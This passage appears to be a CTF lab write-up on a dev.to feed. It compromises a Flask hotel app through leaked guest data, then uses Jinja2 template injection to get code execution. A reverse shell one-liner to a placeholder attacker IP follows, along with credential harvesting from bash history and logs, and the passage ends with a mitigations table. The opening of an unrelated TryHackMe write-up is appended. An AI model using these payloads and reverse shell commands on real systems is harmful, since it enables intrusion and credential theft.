&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;302&lt;/span&gt; &lt;span class="ne"&gt;FOUND&lt;/span&gt;
&lt;span class="na"&gt;Location&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/dashboard&lt;/span&gt;
&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;session=.eJxVjk0LgkAQhv_KNmcFM_rAW5ewmyTkIUK2dXQXXVd2Zw8h_ve2iKDTDC_PPPPOULcDdxIdZLcZGIUBzguBzkEER08SR1KCEzaMDMu56FmpuSW0rDJ2aFiuOhmXEwagUie1gvtyj6BRbhr4sx65Rsig5JZLdjEfa-fRhUczCImiN57qJvgDlSbpLk4O8XoTqFZZR3_3IQxdf9nXZo3R9ej1Ay1k230SAan3CtdzwQqLWnkNy_ICHbNNhg.ao2Bsg.xtUmaPOrplT2GjjTUiNhQsFy1fs; HttpOnly; Path=/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The session cookie is enough to reach &lt;code&gt;/dashboard&lt;/code&gt;, which now greets us as "[REDACTED]" in Room &lt;code&gt;[REDACTED]&lt;/code&gt;: full account takeover of a guest that was never authenticated by anything other than data the API itself leaked.&lt;/p&gt;

&lt;h2&gt;
  
  
  SSTI discovery on /profile
&lt;/h2&gt;

&lt;p&gt;The dashboard links to &lt;code&gt;/profile&lt;/code&gt;, which has a single editable field, &lt;code&gt;display_name&lt;/code&gt;, that's reflected straight back into the page ("Welcome Back, [REDACTED]!"). Reflected user input into a Flask app is worth testing for Jinja2 SSTI:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'http://&amp;lt;MACHINE-IP&amp;gt;/profile'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'display_name={{7*7}}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;HTTP/1.1 200 OK
...
&lt;span class="nt"&gt;&amp;lt;h5&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Welcome Back, 49!&lt;span class="nt"&gt;&amp;lt;/h5&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"49"&lt;/span&gt; &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;{{7*7}}&lt;/code&gt; evaluated to &lt;code&gt;49&lt;/code&gt;, the field is passed straight into a Jinja2 &lt;code&gt;render_template_string&lt;/code&gt;-style call with no sanitization or sandboxing. This is a textbook server-side template injection.&lt;/p&gt;

&lt;h2&gt;
  
  
  First RCE attempt — failed (shell quoting, not a WAF)
&lt;/h2&gt;

&lt;p&gt;The obvious next step is breaking out to &lt;code&gt;os.popen&lt;/code&gt; through Jinja2's object graph. Two different gadget payloads were tried here, both wrapped in single-quoted &lt;code&gt;-d&lt;/code&gt; arguments containing embedded single quotes around identifiers like &lt;code&gt;'os'&lt;/code&gt; and &lt;code&gt;'id'&lt;/code&gt;. Both attempts came back as &lt;code&gt;HTTP/1.1 500 INTERNAL SERVER ERROR&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It's tempting to assume a WAF or input filter is stripping the payload, but that's not what's happening here: there's no WAF in front of this app at all. The actual bug is in the shell invocation, not the server.&lt;/p&gt;

&lt;p&gt;In POSIX shells, a &lt;code&gt;'&lt;/code&gt; always closes the currently open single-quoted string, there's no escaping inside single quotes. So bash/zsh parses a payload like this into several concatenated fragments, splitting apart wherever an internal &lt;code&gt;'&lt;/code&gt; appears:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;'display_name={{config.__class__.__init__.__globals__[' + os + '].popen(' + id + ').read()}}'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;os&lt;/code&gt; and &lt;code&gt;id&lt;/code&gt; are then evaluated as &lt;strong&gt;unquoted shell words&lt;/strong&gt;, not literal text. Since there's no &lt;code&gt;os&lt;/code&gt; or &lt;code&gt;id&lt;/code&gt; command/variable expansion that produces anything useful here, curl ends up sending a mangled body where the Python identifiers &lt;code&gt;os&lt;/code&gt; and &lt;code&gt;id&lt;/code&gt; are no longer inside quotes at all, from Jinja2's point of view that's a Python &lt;code&gt;NameError&lt;/code&gt; / syntax error (&lt;code&gt;os&lt;/code&gt; and &lt;code&gt;id&lt;/code&gt; are undefined names in that context), which the Flask app turns into the generic Werkzeug 500 page. &lt;code&gt;-d&lt;/code&gt; also sends the body completely raw with no URL-encoding, so nothing was normalizing the broken quoting either.&lt;/p&gt;

&lt;p&gt;The fix is to stop letting the shell tear apart the payload's internal quotes. Wrapping the argument in &lt;strong&gt;double quotes&lt;/strong&gt; (so the payload's single quotes survive literally) and switching to &lt;code&gt;--data-urlencode&lt;/code&gt; (so reserved characters like &lt;code&gt;{&lt;/code&gt;, &lt;code&gt;}&lt;/code&gt;, and spaces are sent correctly instead of raw) resolves it cleanly.&lt;/p&gt;

&lt;h2&gt;
  
  
  Successful RCE via &lt;code&gt;--data-urlencode&lt;/code&gt;
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'http://&amp;lt;MACHINE-IP&amp;gt;/profile'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"display_name={{ lipsum.__globals__['os'].popen('id').read() }}"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;HTTP/1.1 200 OK
...
&lt;span class="nt"&gt;&amp;lt;h5&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Welcome Back, uid=33(www-data) gid=33(www-data) groups=33(www-data)
!&lt;span class="nt"&gt;&amp;lt;/h5&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"uid=33(www-data) gid=33(www-data) groups=33(www-data)
"&lt;/span&gt; &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;lipsum&lt;/code&gt; is one of Jinja2's default globals (&lt;code&gt;{{ lipsum }}&lt;/code&gt; for generating placeholder text) and, like &lt;code&gt;cycler&lt;/code&gt;, exposes &lt;code&gt;__globals__&lt;/code&gt; even though it isn't wrapped by the sandbox the app clearly isn't using anyway. With the quoting fixed, &lt;code&gt;os.popen('id').read()&lt;/code&gt; executes server-side and confirms code execution as &lt;code&gt;www-data&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Reverse shell
&lt;/h2&gt;

&lt;p&gt;With confirmed RCE, catching a shell with &lt;code&gt;penelope&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;penelope listen &lt;span class="nt"&gt;-p&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'http://&amp;lt;MACHINE-IP&amp;gt;/profile'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"display_name={{ lipsum.__globals__['os'].popen('bash -c &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;ATTACKER-IP&amp;gt;/4444 0&amp;gt;&amp;amp;1&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;').read() }}"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] [New Reverse Shell] =&amp;gt; 5ee06b607cca &amp;lt;MACHINE-IP&amp;gt; Linux-x86_64 👤 www-data(33) 😍️ Session ID &amp;lt;1&amp;gt;
[+] Agent deployed via /usr/local/bin/python3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@5ee06b607cca:/app/app&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;whoami
&lt;/span&gt;www-data
www-data@5ee06b607cca:/app/app&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Confirming we're inside a Docker container
&lt;/h2&gt;

&lt;p&gt;The shell prompt (&lt;code&gt;5ee06b607cca&lt;/code&gt;) is a container-ID-style hostname, not a normal host name, and the app root confirms it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@5ee06b607cca:/app/app&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; ..
www-data@5ee06b607cca:/app&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls
&lt;/span&gt;Dockerfile  app  docker-compose.yml  entrypoint.sh  requirements.txt  scripts  start.sh  supervisord.conf
www-data@5ee06b607cca:/app&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;Dockerfile
FROM python:3.10-slim-bullseye
...
RUN setcap &lt;span class="s1"&gt;'cap_net_bind_service=+ep'&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;readlink&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;which python3&lt;span class="si"&gt;))&lt;/span&gt;
RUN &lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /var/run/sshd
RUN &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s1"&gt;'s/#PasswordAuthentication yes/PasswordAuthentication yes/'&lt;/span&gt; /etc/ssh/sshd_config
RUN &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s1"&gt;'s/#PubkeyAuthentication yes/PubkeyAuthentication yes/'&lt;/span&gt; /etc/ssh/sshd_config
WORKDIR /app
COPY requirements.txt /app/
RUN pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--no-cache-dir&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; requirements.txt
COPY &lt;span class="nb"&gt;.&lt;/span&gt; /app/
COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf
RUN &lt;span class="nb"&gt;chmod&lt;/span&gt; +x /app/entrypoint.sh /app/scripts/setup_system.sh
EXPOSE 80 22
ENTRYPOINT &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"/app/entrypoint.sh"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the whole box is a single Docker container running Flask (via &lt;code&gt;supervisord&lt;/code&gt;), OpenSSH, and sudo, everything we're about to do from here on happens inside that container, there's no host/container pivot needed. This also explains the two different SSH banners from the nmap scan: port 22 belongs to the container's own sshd, port 2222 is a separate service on the outer host/hypervisor.&lt;/p&gt;

&lt;p&gt;App source, confirming the SSTI sink lives in the Flask route backing &lt;code&gt;/profile&lt;/code&gt; (&lt;code&gt;app.py&lt;/code&gt;) and that guest data is pulled from a local SQLite DB seeded at build time (&lt;code&gt;database.py&lt;/code&gt;, deterministically seeded with &lt;code&gt;random.seed(42)&lt;/code&gt;, which is exactly why the guest API dump above was reproducible/enumerable):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;www-data@5ee06b607cca:/app/app$ ls -la
-rw-rw-r-- 1 www-data www-data  4639 Aug 11 04:14 app.py
-rw-rw-r-- 1 www-data www-data  4300 Aug  9 22:30 database.py
-rw-rw-rw- 1 www-data www-data 24576 Aug  9 22:30 resort.db
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Local enumeration → password reuse
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@5ee06b607cca:/app&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/passwd | &lt;span class="nb"&gt;grep &lt;/span&gt;bash
root:x:0:0:root:/root:/bin/bash
george:x:1000:1000::/home/george:/bin/bash
david:x:1001:1001::/home/david:/bin/bash
www-data@5ee06b607cca:/app&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; /home
david  george
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both &lt;code&gt;george&lt;/code&gt;'s and &lt;code&gt;david&lt;/code&gt;'s home directories are world-readable, and &lt;code&gt;george&lt;/code&gt;'s has a &lt;code&gt;.bash_history&lt;/code&gt; sitting there with &lt;code&gt;www-data&lt;/code&gt; permissions to read:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@5ee06b607cca:/home/george&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; .bash_history
&lt;span class="nb"&gt;cd&lt;/span&gt; /var/www/app
...
&lt;span class="nb"&gt;cd&lt;/span&gt; /home/george
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt;
ssh-keygen &lt;span class="nt"&gt;-t&lt;/span&gt; rsa &lt;span class="nt"&gt;-b&lt;/span&gt; 2048
&lt;span class="nb"&gt;cat&lt;/span&gt; .ssh/id_rsa.pub &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; .ssh/authorized_keys
&lt;span class="nb"&gt;chmod &lt;/span&gt;644 .ssh/id_rsa
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl restart ssh
...
su david
&lt;span class="o"&gt;[&lt;/span&gt;REDACTED]
&lt;span class="nb"&gt;exit
history&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt;
mysql &lt;span class="nt"&gt;-u&lt;/span&gt; david &lt;span class="nt"&gt;-p&lt;/span&gt;&lt;span class="s1"&gt;'[REDACTED]'&lt;/span&gt; &lt;span class="nt"&gt;-h&lt;/span&gt; 127.0.0.1 resort_db
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two findings here:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;chmod 644 .ssh/id_rsa&lt;/code&gt;&lt;/strong&gt;: george made his own SSH private key world-readable (this is exactly the &lt;code&gt;user.txt&lt;/code&gt; flag's hint).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;su david&lt;/code&gt; / &lt;code&gt;[REDACTED]&lt;/code&gt;&lt;/strong&gt;: george typed david's &lt;code&gt;su&lt;/code&gt; password directly into the shell (it landed in history as its own line instead of being consumed by the password prompt), and the same password shows up again reused for MySQL. Classic password reuse across a shell login and a database account.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;george&lt;/code&gt;'s user flag is readable directly as &lt;code&gt;www-data&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;www-data@5ee06b607cca:/home/george$ cat user.txt
HSM{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Privilege escalation → david
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@5ee06b607cca:/home/george&lt;span class="nv"&gt;$ &lt;/span&gt;su david
Password: 
david@5ee06b607cca:/home/george&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;david&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;david&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;david&lt;span class="o"&gt;)&lt;/span&gt;,4&lt;span class="o"&gt;(&lt;/span&gt;adm&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;david&lt;/code&gt; isn't in sudoers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;david@5ee06b607cca:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; password &lt;span class="k"&gt;for &lt;/span&gt;david: 
Sorry, user david may not run &lt;span class="nb"&gt;sudo &lt;/span&gt;on 5ee06b607cca.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But &lt;code&gt;david&lt;/code&gt; is a member of the &lt;strong&gt;&lt;code&gt;adm&lt;/code&gt;&lt;/strong&gt; group, which on Debian/Ubuntu grants read access to most of &lt;code&gt;/var/log&lt;/code&gt;, including files that are &lt;code&gt;640 root:adm&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;david@5ee06b607cca:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /var/log
&lt;span class="nt"&gt;-rw-r-----&lt;/span&gt; 1 root adm     612 Aug 25 11:35 provisioning.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;david@5ee06b607cca:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; root /var/log
/var/log/provisioning.log:2026-08-01 03:14:30 &lt;span class="o"&gt;[&lt;/span&gt;SUCCESS] Applied security policy &lt;span class="k"&gt;for &lt;/span&gt;root access.
/var/log/provisioning.log:2026-08-01 03:14:31 &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Saved system root &lt;span class="nb"&gt;sync &lt;/span&gt;credential: &lt;span class="o"&gt;[&lt;/span&gt;REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A provisioning/build script left a debug-level log entry containing the root account's password in plaintext, readable by anyone in &lt;code&gt;adm&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Root
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;david@5ee06b607cca:~&lt;span class="nv"&gt;$ &lt;/span&gt;su root
Password: 
root@5ee06b607cca:/home/david# &lt;span class="nb"&gt;whoami
&lt;/span&gt;root
root@5ee06b607cca:~# &lt;span class="nb"&gt;cat &lt;/span&gt;root.txt
HSM&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;Unauthenticated /login
        │
        ▼
Leaked sourcemap (app.min.js.map)
        │  reveals internal kiosk API path
        ▼
GET /api/v1/rooms/status?status=occupied  (no auth)
        │  dumps room_number + guest_name for all 100 guests
        ▼
POST /login  (room_number=[REDACTED], last_name=[REDACTED])
        │  guest account takeover via leaked data
        ▼
/profile → display_name reflected unsanitized
        │  Jinja2 SSTI ({{7&lt;span class="err"&gt;*&lt;/span&gt;7}} → 49)
        ▼
{{ lipsum.__globals__['os'].popen(...) }}   [--data-urlencode fixes shell-quoting break]
        │  RCE as www-data (inside Docker container)
        ▼
Readable /home/george/.bash_history
        │  leaks david's su/MySQL password (reuse) + world-readable id_rsa → user.txt
        ▼
su david  (adm group membership)
        │  read access to /var/log/provisioning.log
        ▼
Plaintext root password in provisioning.log
        │
        ▼
su root → root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key Vulnerabilities &amp;amp; Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Deployed JS sourcemap (&lt;code&gt;app.min.js.map&lt;/code&gt;) leaks internal API path&lt;/td&gt;
&lt;td&gt;Recon → exposes hidden endpoint&lt;/td&gt;
&lt;td&gt;Never ship &lt;code&gt;.map&lt;/code&gt; files to production; strip source maps in the build pipeline&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/api/v1/rooms/status&lt;/code&gt; has no authentication&lt;/td&gt;
&lt;td&gt;Full guest PII dump (room + last name), enables login bypass&lt;/td&gt;
&lt;td&gt;Require session/auth on all internal APIs; never trust "kiosk-only" obscurity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Guest login only checks room number + last name (both leaked by #2)&lt;/td&gt;
&lt;td&gt;Account takeover of any guest&lt;/td&gt;
&lt;td&gt;Add a real secret (booking reference, OTP) not derivable from other endpoints&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;display_name&lt;/code&gt; rendered via unsandboxed Jinja2 (&lt;code&gt;render_template_string&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Server-side template injection → RCE as &lt;code&gt;www-data&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Never pass user input into &lt;code&gt;render_template_string&lt;/code&gt;; use &lt;code&gt;render_template&lt;/code&gt; with a fixed template and pass data as a context variable only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;World-readable &lt;code&gt;george&lt;/code&gt; and &lt;code&gt;david&lt;/code&gt; home directories, a &lt;code&gt;.bash_history&lt;/code&gt; with credentials, and a self-chmod'd &lt;code&gt;644&lt;/code&gt; SSH private key&lt;/td&gt;
&lt;td&gt;Credential and key disclosure to any local user&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;chmod 700&lt;/code&gt; home directories, never type passwords on the command line, disable/clear history for sensitive commands, &lt;code&gt;chmod 600&lt;/code&gt; private keys&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Password reuse between &lt;code&gt;su&lt;/code&gt; login and MySQL account&lt;/td&gt;
&lt;td&gt;One leaked credential compromises multiple services&lt;/td&gt;
&lt;td&gt;Unique credentials per service, use a secrets manager&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;adm&lt;/code&gt; group grants read access to &lt;code&gt;/var/log&lt;/code&gt;, and a provisioning script logged the root password at DEBUG level&lt;/td&gt;
&lt;td&gt;Local user → root&lt;/td&gt;
&lt;td&gt;Never log secrets, even at debug level; scrub/rotate provisioning logs; avoid giving broad log-read groups to non-admin accounts&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>hacksmarter</category>
    </item>
    <item>
      <title>TryHackMe : Umbrella Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Mon, 24 Aug 2026 10:28:43 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-umbrella-writeup-5oa</link>
      <guid>https://dev.to/exploitnotes/tryhackme-umbrella-writeup-5oa</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Umbrella is a medium-difficulty TryHackMe box built around a leaky Docker registry, an exposed Node.js time-tracking application, and a classic writable-log privilege escalation. The path goes: enumerate an unauthenticated Docker Registry API, extract a hardcoded database password from an image's build history, dump and crack MySQL credentials, log into the web app with a valid pair, abuse an &lt;code&gt;eval()&lt;/code&gt; code execution flaw in the time-tracking feature to get a reverse shell inside the app's container, and finally pivot from a shared, container-writable log directory into a root shell on the host via a SUID bash binary.&lt;/p&gt;

&lt;p&gt;Throughout this writeup, &lt;code&gt;&amp;lt;machine-ip&amp;gt;&lt;/code&gt; refers to the target box and &lt;code&gt;&amp;lt;attacker-ip&amp;gt;&lt;/code&gt; refers to the attacking Kali host.&lt;/p&gt;

&lt;h2&gt;
  
  
  Reconnaissance
&lt;/h2&gt;

&lt;p&gt;Started with a standard aggressive Nmap scan against the target.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &amp;lt;machine-ip&amp;gt; &lt;span class="nt"&gt;-o&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
